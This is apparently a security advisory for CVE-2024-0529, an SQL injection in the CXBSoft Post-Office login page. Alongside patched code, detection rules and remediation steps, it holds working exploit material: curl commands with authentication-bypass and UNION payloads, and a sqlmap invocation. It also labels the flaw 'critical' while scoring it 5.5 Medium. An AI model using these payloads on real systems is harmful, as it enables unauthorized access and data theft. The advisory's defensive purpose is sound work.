CVE-2024-0529

Executive Summary

CVE-2024-0529 is a critical SQL injection vulnerability in CXBSoft Post-Office up to version 1.0. The flaw resides in the /apps/login_auth.php file, where the username_login parameter is directly concatenated into SQL queries without sanitization. An unauthenticated attacker can exploit this to bypass authentication, extract sensitive data, or potentially gain administrative access. The vendor has not responded to disclosure, leaving the product unpatched. The EPSS score is 0.0%, indicating low active exploitation, but the public PoC increases risk for exposed instances.

Supply Chain & Package Security

This vulnerability is not in an NPM, PyPI, Go, or Ruby package. It is a standalone PHP application (CXBSoft Post-Office). No supply chain implications.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
• Base Score: 5.5 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. The vulnerability is easy to exploit remotely without authentication, but the impact is limited to partial data disclosure and limited modification. However, in the context of a mail server, this could lead to full mailbox compromise.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the login authentication endpoint. The application takes the username_login parameter from an HTTP POST request and directly embeds it into a SQL query without parameterization or escaping. An attacker can inject SQL commands to manipulate the query logic.

Vulnerable Code Snippet (conceptual):

$username = $_POST['username_login'];
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($conn, $query);

Exploitation Mechanics:

• The attacker sends a POST request to /apps/login_auth.php with username_login set to a malicious payload.
• Example payload: ' OR '1'='1' -- -
• This modifies the query to: SELECT * FROM users WHERE username = '' OR '1'='1' -- -' AND password = '...'
• The OR '1'='1' makes the condition always true, bypassing authentication.
• The -- - comments out the rest of the query, ignoring the password check.

Impact:

• Authentication bypass leading to unauthorized access.
• Data exfiltration via UNION-based SQL injection.
• Potential for further exploitation if the database user has elevated privileges.

Vulnerable vs. Patched Code

Vulnerable Code (PHP):

$username = $_POST['username_login'];
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($conn, $query);

Patched Code (using prepared statements):

$stmt = $conn->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
$result = $stmt->get_result();

Explanation: The patched version uses parameterized queries, which separate SQL logic from data. The ? placeholders are replaced with sanitized values, preventing injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A target running CXBSoft Post-Office 1.0.
• Network access to the /apps/login_auth.php endpoint.

Exploit Steps:

1. Identify the login page: http://target/apps/login_auth.php
2. Send a crafted POST request using curl:

   curl -X POST http://target/apps/login_auth.php \
     -d "username_login=' OR '1'='1' -- -&password_login=anything"
   

3. If successful, the server will return a session cookie or redirect to the admin panel.

Advanced SQL Injection (UNION-based):

curl -X POST http://target/apps/login_auth.php \
  -d "username_login=' UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -&password_login=anything"

Automated Exploitation with sqlmap:

sqlmap -u "http://target/apps/login_auth.php" --data="username_login=test&password_login=test" --batch --dbs

Blue Team (Detection & Hardening)

Detection:

• Monitor HTTP POST requests to /apps/login_auth.php for unusual username_login parameters containing SQL keywords (OR, AND, UNION, --, #, ').
• Alert on multiple failed login attempts followed by a successful login with a single quote in the username.

Hardening:

• Apply input validation: reject any username_login containing non-alphanumeric characters.
• Use a Web Application Firewall (WAF) to block SQL injection patterns.
• Upgrade to a patched version if available; otherwise, implement a reverse proxy with SQL injection filtering.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /apps/login_auth.php with username_login containing SQL injection patterns.
• Example payloads in logs:
  • username_login=' OR '1'='1' -- -
  • username_login=' UNION SELECT ...
  • username_login=admin'--

File IOCs:

• Suspicious entries in web server access logs (e.g., Apache access.log):

  192.168.1.100 - - [10/Jan/2024:12:34:56 +0000] "POST /apps/login_auth.php HTTP/1.1" 200 1234 "-" "curl/7.68.0"
  

System IOCs:

• Unexpected database queries in MySQL logs (if enabled):

  SELECT * FROM users WHERE username = '' OR '1'='1' -- -' AND password = '...'
  

Detection Engineering

YARA Rule

rule CVE_2024_0529_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-0529 in CXBSoft Post-Office"
        author = "Valters IT"
        date = "2024-01-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-0529"
    strings:
        $sqli1 = /username_login=.*['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/i
        $sqli2 = /username_login=.*\b(1=1|1=2|admin'--)\b/i
        $sqli3 = /username_login=.*%27%20OR%20%271%27%3D%271/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-0529 SQL Injection Attempt on CXBSoft Post-Office
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts against /apps/login_auth.php
author: Valters IT
date: 2024-01-10
logsource:
    category: webserver
    product: apache
    service: accesslog
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/apps/login_auth.php'
        cs-uri-query|contains: 
            - 'username_login='
            - "' OR '1'='1'"
            - "' UNION SELECT"
            - "admin'--"
    condition: selection
falsepositives:
    - Legitimate usernames containing special characters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-0529 SQL Injection Attempt on CXBSoft Post-Office"; flow:to_server,established; content:"POST"; http_method; content:"/apps/login_auth.php"; http_uri; content:"username_login="; http_client_body; pcre:"/username_login=.*['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the application if it is internet-facing until a patch is applied.
2. Implement a WAF rule to block SQL injection patterns in the username_login parameter.
3. Manually patch the code by replacing the vulnerable SQL query with prepared statements (see patched code above).

Long-term Fix:

• The vendor must release an official patch. Since they are unresponsive, consider migrating to an alternative mail server solution.
• Conduct a full security audit of the application for other vulnerabilities.

Compensating Controls:

• Use a reverse proxy (e.g., Nginx) with ModSecurity to filter malicious requests.
• Restrict database user privileges to the minimum required.
• Enable detailed logging and monitoring for the /apps/login_auth.php endpoint.

Valters IT